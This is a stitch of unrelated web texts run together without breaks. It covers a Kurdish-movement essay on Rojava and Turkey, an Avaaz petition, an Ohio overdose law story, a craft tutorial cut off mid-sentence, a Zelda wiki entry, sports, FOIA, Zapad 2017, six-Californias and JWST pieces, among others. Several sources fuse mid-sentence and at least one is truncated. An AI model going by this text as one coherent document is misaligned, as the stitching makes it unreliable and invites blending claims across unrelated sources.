Surreal as it was for US planes to assist radical leftist fighters, the aerial bombardment started to shift the tide towards the YPG as they took back territory from ISIS bit by bit, eventually pushing them to the western bank of the Euphrates and coming within 40 km of Raqqa. On July 1, 2015, joint operations between the Free Syrian Army and the YPG liberated Tell Abyad from ISIS. The significance of this was multifold. First, this was the most coordination to occur yet between the FSA and the YPG, perhaps appeasing some of the concerns of Syrian revolutionaries who regard the Kurds as pro-Assad. Second, an important ISIS border access point into Turkey was captured, closing a corridor they had been maintaining into Syria and Raqqa. But perhaps most significantly of all, the taking of Tell Abyad connected the Eastern canton of Cizire with Kobanê, creating an uninterrupted stretch of Rojava and breaking the isolation of Kobanê for the first time.
The Kurds are one of the many casualties of borders crossing the peoples of the world—in their case, the borders drawn by Sykes-Picot at the end of the First World War. These borders between Turkey, Syria, Iraq, and Iran are the ones the Kurds are attempting to remove, and it is this experience that informs their critique of borders everywhere. The Kurds are often mentioned as a people without a nation-state; the PKK led a national liberation struggle for decades, and the Kurdish liberation struggle can still be classified as such—but not in the classical sense. It is almost like national liberation updated for the 21st century. Both in Turkey and in Syria, the Kurdish movement is trying to provide a common fighting platform for all oppressed peoples, leftist revolutionaries, and others—a collective of peoples they often refer to as “the forces of democracy.” This platform resembles the intercommunalism of Huey Newton in that it promotes solidarity and common action while preserving the autonomy of each constituent.
This is evident in the politics of the HDP and, more significantly, in the self-governance structures in Rojava—especially in the eastern canton of Cizire, where Kurds, Arabs, and Assyrians live together, participate in communal-self governance, and mobilize fighting forces within the YPG. For a region plagued by ethnic division, the Kurdish proposition is a third way. This is how they refer to their project to contrast it with the choice between ISIS and the Assad regime on one side of the border, and between the AKP and Turkish nationalism on the other.
This proposition presents democratic modernity as an alternative to capitalist modernity and self-governance via confederalism as an alternative to the nation-state. The Kurds are not the only ones attempting to break the borders of the Middle East. In addition to ISIS who has successfully redrawn the map, Erdoğan also has his own ambitions under the rubric of the “Great Middle East Project,” in which Turkey would assume its rightful role (neo-Ottomanism) as the dominant regional power. Already today, most of the foreign business in Barzani’s Kurdish Region in Northern Iraq is Turkish capital. A strong PYD and PKK in the region would be an obstacle to this project.
A member of the YPG scavenging the villages on the outskirts of Kobanê.
Elections and a Massacre
For thirteen years, the AKP has won overwhelming victories in Turkish national elections, holding power as a single party. The HDP was able to harness anti-Erdoğan sentiment with a clever political strategy during the run-up to the historic elections of June 7, 2015. The Turkish electoral system has a 10% threshold: unless a party receives 10% of the national vote or above, it cannot enter parliament, and votes cast for it are effectively void. To sidestep this, the Kurdish movement has usually run independent candidates who, after winning a seat, would become party members. While this run-around strategy helped to get about thirty-five representatives into parliament, receiving more than 10% of the vote would secure at least twice as many positions.
The election of June 7 presented the possibility to displace the AKP and sabotage Erdoğan’s ambitions of increasing his powers by means of constitutional changes that would make him the ultimate patriarch of Turkey. Selahattin Demirtaş, the youthful and charismatic co-chairperson of the HDP, made “We won’t let him become president!” one of his main campaign slogans. The hatred of Erdoğan that had culminated in the Gezi uprising intersected with discontent over Erdoğan’s support of ISIS and enthusiasm inspired by the resistance of Kobanê. Consequently, the HDP secured 13% of the national vote and 80 MPs, creating a situation in which no single party could form a government by itself and necessitating that a coalition form to assume power.
The relationship between the armed PKK and the electoral HDP is delicate yet complementary. The HDP must strike a difficult balance: they receive their legitimacy in the eyes of the Kurdish population as the aboveground wing of the armed struggle, but they also need to distance themselves occasionally in order to play the political game successfully on the national scale. Erdoğan and his cronies, who are shrewd and aware of this, stoke the fires wherever they can by pitting the HDP against the PKK and both of them against Öcalan, whom they portray as more levelheaded—an easy task, when communication with him is controlled by the state and no one has heard from him in five months. The HDP is in a precarious position as a legal and unarmed political party often subject to the same repression as PKK members.
Following the election, no one could work out how to create a coalition government. As everyone’s attention was focused on the electoral stalemate, Erdoğan made it clear that he would push for early elections to give the population another opportunity to bring the AKP to power. Then came the massacre in Suruç.
It was just another delegation of young leftists from Istanbul to Kurdistan. This one was organized by the Socialist Youth Associations Federation with the goal of giving a hand in the rebuilding of Kobanê, bringing toys to refugee children, and planting trees in the region. On the morning of July 20, 2015, SGDF organized a press conference at the Amara Cultural Center, the de facto convergence center for volunteers traveling to assist with the refugee camps. In the midst of this, a suicide bomber killed 34 people. This massacre shocked the whole country, setting in motion a downward spiral of events. Two days later, Erdoğan cut a deal with the US to allow them use of the Turkish Incirlik Air Base against ISIS in exchange for their tacit support of a new campaign of annihilation against the PKK. Seizing upon the murder of two police officers the day after the bombing for justification (a retaliation later explicitly disowned by the official channels of the PKK), the Turkish government began a massive air campaign against PKK positions in northern Iraq and southeastern Turkey. In addition, raids took place across the country, resulting in more than 2000 arrests and continuing to this day. So belligerent were the actions of the AKP that they even arrested one of the injured from the socialist delegation bombed in Suruç.
The AKP claimed that it was going after all the extremist terrorists in the country: the PKK, ISIS, and the Marxist-Leninist group DHKP-C (The Revolutionary Peoples Liberation Party – Front). Of these three, the DHKP-C does not hold a candle to the others in terms of numbers or effectiveness; it seems they were thrown in for good measure. While the AKP and Erdoğan claim in the media that they are also going after ISIS, in reality this is nothing but window dressing. Of the 2544 arrested by the end of August, less than 5% were arrested on allegations of belonging to ISIS, and many of those were later released. Of the bombing campaigntotaling approximately 400 airstrikes, only three targeted ISIS. These airstrikes are targeting PKK camps, especially the central one of Qandil—but civilians have also been killed, such as ten in the nearby Iraqi village of Zelgele.
Although the Suruç bombing targeted the Kurdish movement, it is being used as an excuse to decimate it. As of this writing at the beginning of September, according to the Turkish Human Rights Association more than 47 civilians and 47 PKK guerrillas have been killed. The PKK is hitting back hard wherever it can: as of now, at least 92 policemen or soldiers have been killed, and 24 officials of the state or security forces kidnapped.
In response to this repression, Kurdish towns and cities rose up with demonstrations and riots in every single town for many nights in a row. The response by the state was brutal; media pundits observed that the country had regressed to the bloody 1990s. While this was certainly the case from the standpoint of the state, the Kurdish movement has evolved: Kurds in more than sixteen towns took the initiative of declaring autonomy from the state and began to emphasize their right to self-defense. These declarations were met with more brutality and arrests. Especially in the towns of Silopi and Cizre, the state responded by using snipers to go after children and citizens who weren’t even directly involved in the conflicts. House raids and extrajudicial executions soon followed. Bombings of the countryside have resulted in catastrophic forest fires, inflicting yet another form of anguish on the region. Many towns in the region are still declared special security zones, a designation akin to martial law; curfews and operations by special forces are widespread.
A new early election has been called for November 1, 2015. It is already clear that the run-up to the next election will result in escalations from the AKP and Erdoğan, who has shown that he is willing to do anything to hold on to power, even thrust the country into civil war. It is possible that he will use his executive powers to postpone the election for a year on the grounds that there is a security risk for elections to take place. The successes of the Kurds on both sides of the Turkish-Syrian border, their smart political choices and heroic fighting maneuvers have pushed the AKP and Erdoğan to a breaking point. If the current drive for a truly fascist police state is any indication, his fall from power will be as brutal as his reign.
I am inspired by the perseverance of the Kurds who are attempting to break out of stale leftist dogmas while still insisting on revolution. The transformation of a social movement of millions does not occur overnight, but they have begun to implement new social relations and structures that aim at abolishing the state and other hierarchies, such as men over women or humans over non-humans. From my observations, I believe that this stubborn multigenerational struggle has the potential to transform the world’s most sectarian region into autonomous zones of cooperation and solidarity. As long as they are able to survive ISIS and the Turkish State and continue constructing their revolution from below, they will have much more to teach those of us fighting for liberation elsewhere.Just this January, deadly floods have devastated Queensland and we’ve had to add a new colour to the weather map as parts of Australia broke records reaching nearly 50 degrees. This could be the new normal, but the election has just been called and we have a chance to push our government to do much more to combat climate change.
It seems crazy, but taxpayers in Australia pay $1.7 billion every single year to fuel mega-mining machines. These gas guzzling trucks, diggers and bulldozers fry the planet. If we can close this huge loophole, we will save mountains of money and could force the richest companies in Australia to be more efficient with their fuel.
Let’s end their fuel free ride. Treasurer Wayne Swan can strike this line from our national budget -- sign the urgent petition below to urge him to act, then forward this email to everyone. When we reach 100,000 signers, Avaaz will set up a mining truck installation outside Parliament House to deliver our call to Swan's front door.YOUNGSTOWN, Ohio (WKBN) - Lawmakers are hoping to combat the heroin epidemic with a law designed to take the fear of criminal prosecution away from someone seeking emergency medical help for an overdose. Police, however, question if the law will even work.
The number of Ohioans dying from accidental overdoses because of their battles with heroin addiction is climbing every year. House Bill 110 is now in effect in response to the epidemic.
"It's just another tool in the tool box. There's no silver bullet that's going to solve it," said State Representative Sean O'Brien.
He is confident that the bill will help save lives of people battling an opiate addiction.
"What we're seeing is...people being dropped off in the middle of the street, friends are walking out the door and leaving, and people are dying from it," O'Brien said. "So what we're trying to do is save people's lives with this bill."
Law enforcement is not so sure.
"I'm not sure that it's the answer," said Niles Police Capt. John Marshall.
The law, as it went into effect ten days ago, protects people from being penalized for minor drug possession offenses (Felony 5 and lower), whether they're seeking or receiving emergency medical help for a drug overdose.
This only applies if they get a screening and treatment referral within 30 days.They also cannot be granted this immunity more than twice.
"If we can divert some of the people that are overdosing into treatment, and hopefully they don't repeat the situation that got them there in the first place, it will definitely be a benefit," Marshall said. "But I'm not sure if that's how it's going to work."
Attorney Jeffrey Goodman says that while law enforcement does want to prosecute drug offenders, the possibility of saving lives is more important.
"There's a problem out there. There's an opiate addiction that's killing many, many people," O'Brien said. "What we're trying to do is get help to these people, and get them into programs and other things we can do to get them off these drugs."I was brainstorming ideas for some fun projects to try with my new students in my Upcycled Crafting class, when I realized, I never shared one of my favorites from last semester! I like to work on projects that won’t have the parents saying, “Now what the heck do I do with this thing?” I want our creations to be useful, or beautiful, or both. This project wasn’t beautiful, but it certainly will be useful! I made a jump rope out of plastic bags, yogurt drink containers, and some craft beads. Right about now, you are thinking, “No way!” but guess what? Yes way! It works, and if your kids can braid, they can make this with minimal help. If they can’t braid, then they can learn while making the upcycled jump rope! Here’s what you’ll need…
Upcycled Jump Rope
2 or 3 plastic grocery bags
2 yogurt drink containers (or water bottles if you don’t have the narrow containers)
5 craft beads (or tin foil)
Scissors
Painter’s tape or masking tape
Drill or sharp-pointed object
You will be using the bag as the braiding medium, but first you will have to cut it into string. Start out by laying a plastic bag out flat and trim off the gusset at the bottom and both handles. You will be left with a tube of a plastic bag. To begin making the |
Kaepora Gaebora can transport Link to various locations, including a secret entrance to a house in Kakariko Village where a Piece of Heart is located.
Majora's Mask
In the world of Termina, Kaepora Gaebora makes two appearances.[9] In the Southern Swamp beside the entrance to Woodfall, it teaches Link the "Song of Soaring", which allows him to warp between the various Owl Statues. It says that the act of playing the song binds them as eternal friends.[10]
Kaepora Gaebora later reappears in the Goron Village of Snowhead, inquiring if his Owl Statues have been helpful,[11] and hoping that Link has the courage to change Termina's doomed future.[12][13] It guides Link to the Lens of Truth by dropping its feathers on each of the invisible platforms that form the path to the Lone Peak Shrine.[14][15] Later, Darmani's ghost hints that Kaepora Gaebora had told him that Link would soon be coming.[16] This implies that Kaepora Gaebora led Link to the Lens of Truth so he would be able to help the lingering spirit of Darmani.
Four Swords Adventures
In Four Swords Adventures, Kaepora Gaebora first appears when he finds the Links collapsed in Lake Hylia after drawing the Four Sword.[17] He then appears again throughout Hyrule to give the Links advice on how to proceed.[18]
Other Appearances
Non-Canon Information hide show
Super Smash Bros. Ultimate Kaepora Gaebora appears as an Advanced-class Support Spirit in Super Smash Bros. Ultimate.
Nomenclature
The Japanese onomatopoeia ぼらぼら (bora bora) may be the inspiration for his name, as this word means "one after another; a repetition," characterizing Gaebora's repeated appearances and offers to repeat information.
Names in Other Regions Language Name English UK Kaepora Gaebora Japanese ケポラ・ゲボラ (Kepora Gebora) French Kaepora Gaebora French CA Kaépora Gaébora ( OoT3D ) German Methusa Italian Kaepora Gaebora Spanish LA Kaepora Gaebora ( OoT3D )
Trivia
Gaepora's name from Skyward Sword shares a resemblance to Kaepora Gaebora's. Gaepora also laughs with an owl-like "Hoo, hoo, hoo."[19] He also shares some physical similarities; his eyebrows and triangular beard correlate with some of Kaepora Gaebora's characteristics. His golden pendant resembles Kaepora Gaebora's forehead mark upside down. Gaepora also bears a resemblance to Kaepora Gaebora's true form, Rauru.
Gallery
Kaepora Gaebora artwork from Ocarina of Time
Artwork of Kaepora Gaebora with his head inverted from Ocarina of Time
Kaepora Gaebora in the Desert Colossus in Ocarina of Time 3D
Kaepora Gaebora flying over the Desert Colossus in Ocarina of Time 3D
Kaepora Gaebora from Ocarina of Time 3D
Kaepora Gaebora from Ocarina of Time 3D
Kaepora Gaebora from Majora's Mask
Flying Kaepora Gaebora from Majora's Mask
Artwork of Kaepora Gaebora flying from Majora's Mask 3D
Kaepora Gaebora from Four Swords Adventures
NotesLonzo Ball has been largely linked to the Los Angeles Lakers since they secured the second overall pick in the 2017 NBA Draft at last week's draft lottery in New York.
Ball has made his desire to be drafted by the Lakers well-known, and Lakers President of Basketball Operations Magic Johnson may be intrigued by Ball's abilities, but him being selected by the Lakers at the second spot is not a lock.
According to Jonathan Givony of Draft Express, the Lakers will take a long look at Kentucky guard De'Aaron Fox as their potential pick at number two.
Word out of LA is Lonzo Ball is heavy favorite at #2, but will take a long hard look at De'Aaron Fox too. Hoping for a head to head workout. — Jonathan Givony (@DraftExpress) May 17, 2017
Fox shot up mock draft boards after a stellar NCAA tournament performance, which included a 39-point explosion in a victory over Ball's UCLA squad.
Though they're interested in Fox, Ball is still the heavy favorite to be selected second, per Givony, and the Lakers are hoping to have a head-to-head workout between the two point prospects.Just in time for April foolery, the Air Force has released its list of individuals classified as commercial — as opposed to media or “other” — for FOIA fee purposes. The 7,300 entries include not only patent lawyers, political operatives and Booz Allen Hamilton staffers, but also a surprising number of journalists.
To ensure that FOIA serves the public interest instead of simply underwriting industrial espionage, the federal statute classifies requesters into three categories: (i) commercial requesters; (ii) educational, scientific or news media requesters; and (iii) everyone else. Predictably, commercial requesters bear the greatest fee burden, while educational, scientific and news media representatives are charged the least.
A number of government agencies have insisted that MuckRock reporters do not qualify as journalists. Last year, the Navy argued that MuckRock’s lack of a paywall or subscription fees invalidated any claims to being treated as media. Similarly, the Air Force insists that MuckRock staffers do not qualify as media, but fall into the “commercial” category for FOIA fees.
Frustrated by such responses, MuckRock wondered whether other reporters were similarly boxed out of the press club by the Air Force FOIA office. Sure enough, the Air Force list of “commercial requesters” includes not only two MuckRock staff but also reporters from the Chicago Tribune, the Los Angeles Times, the New York Times and many other outlets. Even reporters from the Air Force Times were deemed to fall within the commercial FOIA category.
The Air Force list includes Ted Bridis, editor of the Associated Press investigative team, NBC’s chief Pentagon correspondent Jim Miklaszewski and ProPublica investigative reporter T. Christian Miller, among others.
Here’s the list of newspapers, magazines and television networks whose reporters failed to make the journalist cut:
The Associated Press
The New York Times
The Wall Street Journal
The Los Angeles Times
The Chicago Tribune
The San Diego Union-Tribune
The Seattle Times
The Fort Worth Star Telegram
The Salt Lake City Tribune
The Arkansas Democrat-Gazette
The Columbia Daily Tribune
The Huron Daily Tribute
The Air Force Times
The Journal Record
Forbes magazine
Harpers magazine
Moment magazine
NBC News
ABC News
CBS News
CNN Anderson Cooper 360
KENS-TV (San Antonio, TX)
KGUN-TV (Tucson, AZ)
KIVI-TV (Nampa, ID)
KOMU-TV (Columbia, MO)
The Center for Public Integrity
The Project on Government Oversight
The list also features entries for USA Today, WIRED magazine and a number of additional outlets without noting the individual reporter’s name.
Notably, the commercial list also includes individuals from such non-profit and watchdog groups as the American Civil Liberties Union, the Electronic Frontier Foundation, Citizens for Responsibility and Ethics in Washington and the National Security Archive, as well as a number of organizations dedicated to non-proliferation, labor activism and military service.
It is unclear how these individuals ended up on a list of commercial FOIA requesters, or what tangible impact such classification had on their FOIA requests. MuckRock has requested the Air Force’s protocols and procedures surrounding this list for additional clarification.
Image via PaginaDeMediaRussian and Belarusian tanks, jets, artillery, and infantry have begun surging toward EU borders in a massive war game that is taking place amid real Russian aggression in Ukraine and Syria.
Called Zapad 2017, the two-week drill is meant to repel an attack by a fictional state, Veishnoriya, and two fictional allies, Lubeniya and Vesbasriya, that look a bit like Nato and EU countries Estonia, Latvia, Lithuania, and Poland, which currently host around 4,000 Nato troops.
Russian forces, dubbed "little green men", snatched Crimea from Ukraine in 2014 (Photo: Elizabeth Arrott/VOA)
According to Belarus and Russia, Zapad 2017 involves 12,700 soldiers and 250 tanks, as well as 200 pieces of artillery, 70 planes and helicopters, and 10 warships on the borders of the Baltic states, Finland, and Poland.
That would put the drill below levels that obliged Russia to invite foreign military observers in large numbers under a treaty called the Vienna Document, with Nato invited to send just three monitors and with a handful of military attaches from Ukraine, Poland, Lithuania, Latvia, Estonia, Sweden, and Norway to also drop by on brief visits.
But the fact that Russia openly requisitioned 4,200 railway wagons for the manoeuvres has led Germany and Poland to estimate that the real number of troops will top 100,000.
Speaking to Deutsche Welle, a German broadcaster, on Wednesday (13 September), Russian deputy defence minister Alexander Fomin said: "I can calm our dear neighbours straightaway. The exercise is absolutely peaceful, and absolutely defensive in nature".
But for Danish defence minister Claus Hjort Frederiksen, speaking on Danish radio on Thursday, the drill was designed to "intimidate the Baltic states".
There is little concern that Russia might use it to launch a real invasion, but Lithuania's defence minister Raimundas Karoblis, also voiced concern.
"We can't be totally calm. There is a large foreign army massed next to Lithuanian territory," he told the Reuters news agency on Wednesday.
Jens Stoltenberg, the Nato secretary general, warned earlier that Russia's lack of transparency "increases the risk of misunderstanding, miscalculations, accidents, and incidents that can become dangerous".
He said Zapad 2017 was part of a "pattern of a more assertive Russia" that has shown it was "willing to use military force against its neighbours", referring to Russia's invasion of Georgia in 2008 and its covert invasion of Ukraine three years ago.
The US has assumed command of airspace over the Baltic countries as a precaution and Ukraine has put its armed forces on alert.
For his part, the Polish deputy defence minister, Michal Dworczyk, said that even if the war game was peaceful, it could result in an increased threat in future.
"There are many doubts and fears that, because of the Russian Federation's previous actions, not all forces and equipment will be removed [from Belarus] after the exercise," he told reporters in Warsaw on Wednesday.
Phillip Petersen, a US defence analyst at the Potomac Foundation, a think tank in Washington, told Polish news agency Pap that Zapad 2017 looked like "preparations for an invasion of the Baltic states and Poland".
"We are heading into a dangerous period. It's not just about the two-week exercise, but probably also about the next two months, because the exercise helps them to be ready for an attack", he said.
The Russian drill comes at the same time as a Swedish exercise involving 19,000 mostly Swedish troops and 1,500 soldiers from the US, France, Norway, and other Nato members.
Sweden, which is not part of Nato, has said its exercise, called Aurora, was not timed to challenge the Russian show of force.
Nato soldiers will take part in a large Polish drill, called Dragon-17, on 25 September.
The Western alliance will also hold six small exercises in the Mediterranean Sea and in Germany, Bulgaria, Slovenia, Romania, and Turkey this month.The states, as presented by Draper’s group.
From The Fix:
Proponents of a ballot initiative aimed at splitting California into six states (or, more simply, one proponent: venture capitalist Tim Draper) may have collected enough signatures to put the initiative on the ballot in November. This is the beauty and the annoyance of California’s initiative and referenda system. If you have enough cash, getting something on the ballot is relatively trivial, meaning that relatively trivial ideas — like splitting California into six different states — can be put up for a vote. (Happily, in this instance the federal government would have to sign off on the idea, which it will never do, because, come on.)
Draper’s proposal is that California become six different states, each with its own capital and senators and so on. That’s really one of the main selling points: Why should the millions of people in California have the same number of senators as the hundreds of thousands of people in Wyoming? And the answer is: Because you get to live by the coast and the redwoods and the beautiful people of Los Angeles and that is the price you pay. Everyone knows that.
Anyway, here are the six proposed states. They’re based on existing counties, which makes the breakdown easier. The capitals aren’t identified in the proposal, so we just guessed.
State Likely capital Population Area Jefferson Ukiah 949,000 40,713 sq. mi. N. California Sacramento 3,742,000 12,608 sq. mi. Central California Fresno 4,125,000 45,962 sq. mi. Silicon Valley San Francisco 6,597,000 8,402 sq. mi. W. California Los Angeles 11,534,000 11,948 sq. mi. S. California San Diego 10,505,000 36,439 sq. mi.
“Jefferson” is a cool name for a state. “West California” is a dumb name for a state. But the dumbest name is “Central California.” It makes sense to refer to California’s Central Valley as “the Central Valley,” because it is central to California. It does not make sense to refer to a state as Central California because the California it is central to no longer exists. Why not, at the very least, East California, just to round out the compass?
The answer to that question of course is that Draper doesn’t care, because this entire plan is really about creating Silicon Valley as its own state. Therefore Silicon Valley gets to be a state called “Silicon Valley,” and it gets to make its politics and its money more dense, and everyone in the idyllic dream of Silicon Valley gets to be happy. And have two senators.
This is what that consolidation looks like.
Political distribution
Here’s the breakdown of party registration in the “states” as independent countries.
Percent Democrat
Percent Republican
State Dems GOP Other Jefferson 168,898 (33.78%) 178,894 (35.78%) 152,192 (30.44%) N. California 818,072 (42.71%) 583,410 (30.46%) 513,784 (26.83%) Central California 627,390 (37.62%) 648,852 (38.9%) 391,657 (23.48%) Silicon Valley 1,665,400 (51.14%) 590,997 (18.15%) 1,000,246 (30.71%) W. California 2,753,917 (48.92%) 1,279,173 (22.72%) 1,595,885 (28.35%) S. California 1,658,993 (34.9%) 1,755,284 (36.93%) 1,338,962 (28.17%)
“Silicon Valley” is the most robustly Democratic. Notice what happens, though. Three states would handily elect two Democratic senators. The other three are much more balanced, meaning that they’d likely pick up one or two Democrats on the Senate side.
And then there’s the House.
State Current D Reps. Current R Reps. Jefferson 1 1 N. California 4 1 Central California 2 5 Silicon Valley 9 0 W. California 15 1 S. California 7 7
This is how California’s 53 existing House districts overlap with the new states. Things would get shuffled around, and wouldn’t change much (since the focus is population). But the short version of the story is that Silicon Valley and “West California” (why not just call it San Andreas or something, for God’s sake) would not have to be beholden to the more rural areas. At all.
Tax disbursement
In 2010, State Sen. Noreen Evans received a breakdown of tax revenue and tax spending by county in the state, which her office provided to us. As one might expect, the amount various counties paid in tax in 2010 didn’t often equal the benefits received from the state. And, as you might also expect, the counties that had the lowest ratio of benefits received to taxes paid tend to be the ones that are joined together under Draper’s plan. (Below, “ratio” refers to the number of dollars received in benefits for each dollar paid in taxes.)
State Per capita tax paid Benefits received Ratio Jefferson $14,012 $26,906 1.92 N. California $25,372 $16,729 0.66 Central California $15,904 $23,634 1.49 Silicon Valley $22,756 $9,192 0.4 W. California $8,155 $4,995 0.61 S. California $7,710 $8,184 1.06
Less money going from Silicon Valley to the Central Valley, once they are two separate states. Whether or not this is intentional is left as an exercise to the reader, and the reader, being smart, attractive and generally savvy, will realize that the answer is yes.
Wealth
As it is now, “Silicon Valley” would be the richest state of the new six, by far.
Average poverty level (2012)
Households over $200,000 in income
State Average income Poverty level $200,000-plus hholds Jefferson $37,277 14.14% 1.86% N. California $46,970 9.81% 6.02% Central California $39,852 19.66% 2.46% Silicon Valley $68,365 8.83% 11.4% W. California $49,832 10.48% 6.35% S. California $47,016 14.6% 4.58%
Demographics
If you’re curious, the racial make-up of the states wouldn’t change that much.
Percent Hispanic
State Population Percent Hispanic Jefferson 949,240 15.39% N. California 3,742,229 21.18% Central California 4,124,776 47.27% Silicon Valley 6,597,332 26% W. California 11,533,918 46.36% S. California 10,504,924 39.43%
So there you have it. The six new Californias that will never exist would look like this if they ever came into existence which, for the second time in this sentence alone, they will not. Silicon Valley will just have to be content with its two senators and shipping tax money off to the poorer people of the Central Valley and having one of the highest standards of living in the country. We can get through this together.It was, by a wide margin, Microsoft's most exciting and intriguing event in years. Hell, the entire tech industry hasn't generated this much hype and anticipation in a long time. Microsoft's hardware event on October 6th, 2015 will go down in history as one of the best examples of how to turn cold hard technology into warm and relatable objects of desire. In less than two hours. The software company showed off its hardware chops while pursuing the grand overarching goal of the ultimate "magical experience" — which can result only when software and hardware work together in harmony.
For the sake of posterity, historicity, and just good old-fashioned fun, I've compiled the standout quotes from Microsoft's presentation yesterday. They mostly star the inimitable and distinctly quotable Panos Panay, who is in charge of running Microsoft's Lumia, Surface, and hype-generating divisions. Hit the comments below to share your favorite aphorism or proclamation from the event.- UPDATE: A Virginia father who shot video of himself boxing his 17-year-old son and posted it on social media is facing charges in the case, and FOX 5 has learned the boy has been removed from his father's house amid the investigation. CLICK HERE FOR THE LATEST INFORMATION ON THIS STORY.
Tavis Sellers, who identified himself as TaDigs Ditches on Facebook, turned himself in to Prince William County Police early Friday morning at around 12:30 a.m. Sellers was charged with domestic assault and battery and was released on $5,000 unsecured bond.
A Prince William County father is in trouble with the law after he posted a video of himself boxing his teenage son. The father said he was disciplining his child while teaching him how to defend himself at the same time. But is it tough discipline or is it abuse? It depends on who you ask.
The father, who identified himself as TaDigs Ditches on Facebook, told FOX 5 he was ordered on Thursday to turn himself into the Prince William County Sheriff’s Office after he posted the video, which showed his son bloodied after the sparring. TaDigs said they are a boxing family and it is “no one's place to judge how he takes care of his business in his house.”
The video, which was posted to Facebook by the father, said he was disciplining his 17-year-old son for misbehaving in class. TaDigs mentions in the video, “He can walk out of class but call me so I’m on your side. All day went by he didn’t call – so now it’s discipline time because he didn’t do what I told him to do. He chooses to do what he wants to do.”
TaDigs then turns the camera to show him boxing with his son. The father said boxing in their family is what they do. In the video, you can hear him scolding his son about his behavior while throwing punches.
A psychologist we talked with called the video disturbing.
“It's not really teaching him a lesson except the lesson is humiliation,” said Dr. Linda McGhee, a clinical psychologist. “He's teaching a boy that you solve your problems by fighting it out with your fists. At no other place can you do that at your job or school. And second of all, it's not making a boy feel good about himself. It's humiliation.”
After the boxing ends, TaDigs focuses the camera on his son's bloody face.
“Let them know! Tell your teacher you're sorry,” said the father in the video.
TaDigs wrote in the caption for the video, “Blessings come in all forms and mines came in the form of a great young man to have as a son. I feel I would be the worst disappointment to him if I didn't do my best to deter him from choices in life that I have seen lead to destruction. The world now has given us platforms to reach out and show your efforts. A lot of people were hurt by this video. And that was not the purpose. I did it to show what has been working for ME.”
The father said he busted his son's lip and gave him a bloody nose, but nothing long-lasting.
He also told us he is being charged with domestic assault and battery. TaDigs also said if given the chance, his son would not want him to be punished.
A video following the “discipline” shows his son appearing to be okay. He continues to say that it helped him seek the right path and that he won’t be repeating the same mistake.
CLICK HERE FOR UPDATES ON THIS STORY.Thank you Patreon Donors!
Zone Fighter Episodes 11-15
Episode 11: IN A HAIR’S BREADTH: THE ROAR OF GODZILLA!
Japanese Title: Kanippatsu Gojira-no Sakebi!
Original Airdate: 7:00pm (JST) Monday June 11th 1973
Director: Jun Fukuda
Director of Special FX: Teruyoshi Nakano
Writer: Kazuhisa Hattori
Episode 12: THE TERROR-BEAST BASE: INVADE THE EARTH!
Japanese Title: Kyoujuu Kichi Chikyuu-e Shinnyuu!
Original Airdate: 7:00pm (JST) Monday June 18th 1973
Director: Ishiro Honda
Director of Special FX: Kichio Tabuchi
Writer: Norio Komata
Episode 13: HAIR-RAISING! THE BIRTHDAY OF TERROR
Japanese Title: Senritsu! Tanjoubi-no Kyoufu
Original Airdate: 7:00pm (JST) Monday June 25th 1973
Director: Ishiro Honda
Director of Special FX: Kichio Tabuchi
Writer: Jun Fukuda
Episode 14: RAMPAGE! THE GAROGA BOYS ATTACK FORCE
Japanese Title: Takerikuruuzo! Garoga Shounen Kougekitai
Original Airdate: 7:00pm (JST) Monday July 2nd 1973
Director: Akiyasu Kikuchi
Director of Special FX: Koichi Kawakita
Writer: Masaru Takesue
Episode 15: IT’S SINKING! GODZILLA, SAVE TOKYO
Japanese Title: Chinbotsu! Gojira-yo Tokyo-wo Sukue
Original Airdate: 7:00pm (JST) Monday July 9th 1973
Director: Kengo Furusawa
Director of Special FX: Koichi Kawakita
Writer: Kohei Oguri & Norio KomataUpdated 10pm
DUBLIN BUS HAS said one of its drivers followed the proper procedures in dealing with a brawl which broke out on the 66N bus last month.
Footage from the incident, seen by TheJournal.ie, shows a number of passengers shouting at, pushing and striking one another.
One passenger told us one man on the bus started the trouble:
He sat down beside and started nudging me, I ignored him at first before asking the man to stop. He shouted abuse at me, stood up and gave other passengers abuse. He then punched a man and a mass brawl ensued.
The man, who was not involved in the fighting himself, claimed the driver stopped the bus on the quays, activated the panic alarm and “abandoned the bus without opening the doors for passengers to escape”.
According to the passenger the heated fight lasted around eight minutes and the other passengers on the bus were unable to exit the vehicle until gardaí arrived.
However Maria Payne, a spokesperson for Dublin Bus said CCTV shows the front doors were in fact open, though the central doors were closed as that was where the fight was happening.
In response to a query from TheJournal.ie, Dublin bus said all of its employees are fully trained in procedures for dealing with disorderly behaviour on board.
Each vehicle is also equipped with a radio which allows immediate contact to the Central Control Centre. This means that the driver has immediate contact to a team of Dublin Bus Inspectors should assistance be required in any given situation. In this instance the driver followed procedures which included contacting our control centre team who is turn contacted An Garda Síochána for assistance
Dublin Bus has provided gardaí with CCTV footage of the incident. The company also said it had been in direct contact with one customer who complained about the incident.
- With reporting by Michelle Hennessy.On Thursday, November 17, 2011, the House and Congress came to an agreement for the fiscal year 2012 budget that includes funding for NASA and approves the full requested funding for the James Webb Space Telescope (JWST), the successor to the magnificent Hubble Space Telescope. The Webb, which came under fire in July 2011 when the House proposed cutting its funding entirely, will receive $529.6 million, the amount required for it to stay on track for its planned 2018 launch.
Here are five cool things – which you might not know – about the JWST project.
1. The James Webb will unfold in space. It’s being launched on an Ariane 5 rocket, provided by the European Space Agency (ESA). But because of its massive size — it’s as big as a tennis court and about 40 feet (12 meters) high — it must be folded up for the trip. Many features of the telescope, such as the hexagonal shape of the mirrors, were designed to enable the unfolding process. Check out the video below for a glimpse of how Webb’s unfolding will take place.
2. The Webb will be nearly 1 million miles from Earth. To be exact, it’ll be 940,000 miles (about 1.5 million kilometers) from Earth.
It’s being sent to what’s known as the L2 – the second Lagrangian point in the Earth/sun system. The Lagrangian points are named for Joseph Louis Lagrange, who realized that there would be stable or semi-stable points in the vicinity of every two orbiting bodies in space. In other words, every time you have two orbiting bodies, you also get five Lagrangian points. At these points, a third body can maintain a relatively stable orbit without the heavy usage of thrusters and propellants. In this case, the sun and Earth are the two bodies in space. The Webb Telescope will orbit the L2 point in the Earth/sun system, which means it will follow Earth around the sun, always in a straight line with the Earth and sun. Its orbit will be far from Earth – beyond the moon’s orbit. For comparison, the Hubble Space Telescope is 380 miles away in low Earth orbit.
3. The Webb Telescope’s 18 mirrors are coated in a thin layer of 24-karat gold. Webb’s purpose is to read infrared light, the wavelength of light that is emitted by the farthest objects in the universe. Gold reflects red light better than other materials, making the mirror 98 percent reflective, rather than the 85 percent achieved by ordinary mirrors.
